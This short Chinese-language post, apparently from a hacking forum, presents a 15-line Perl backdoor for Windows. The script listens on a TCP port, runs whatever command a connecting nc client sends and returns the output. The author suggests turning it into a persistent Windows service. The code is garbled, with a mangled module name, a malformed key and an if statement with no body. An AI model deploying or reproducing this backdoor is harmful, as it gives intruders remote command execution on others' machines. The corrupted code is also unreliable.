用15行perl打造win32下的简易后门

用nc连，使用了简易的管道命令（``）使之能执行基本的系统命令，有兴趣的朋友可以添加、修改一下，做出更多东西，谁有空建议用win32模块给他系统化一下，再用perlsvc做个服务啥的

#!/usr/bin/perl
use I:Socket;
$port = $ARGV[0];
my $socket = new I:Socket::INET ( 'Localhost'=>'127.0.0.1' ,
　　　　　　　 'LocalPort'=>$port ,
　　　　　　　 'Listen'=>1 ,
　　　　　　　 'Proto'=>'tcp' ,
　　　　　　　 'Reuse'=>1　);
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept())　{
while (my $buffer=<$new_socket> ){
if ($buffer=~/exit/)
$res_msg=`$buffer`;
print $new_socket $res_msg."\n";
}}

（出处：http://www.sheup.com）